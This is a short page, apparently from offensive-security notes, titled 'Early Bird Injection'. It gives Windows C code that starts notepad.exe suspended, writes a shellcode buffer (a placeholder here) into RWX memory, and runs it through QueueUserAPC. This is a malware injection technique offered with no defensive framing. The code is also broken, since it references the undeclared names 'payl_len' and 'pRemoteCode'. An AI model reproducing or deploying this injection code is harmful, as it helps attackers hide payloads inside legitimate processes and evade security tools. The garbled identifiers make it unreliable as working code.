Early Bird Injection
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
char shellcode[] = {
shellcode
};
unsigned int pay_len = sizeof(shellcode);
int main(void){
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
void *pRem;
CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
HANDLE hProc = pi.hProcess;
HANDLE hThread = pi.hThread;
pRem = VirtualAllocEx(hProc , NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRem, (PVOID) shellcode, (SIZE_T) payl_len, (SIZE_T *) NULL);
QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL);
getchar();
ResumeThread(hThread);
}









Last updated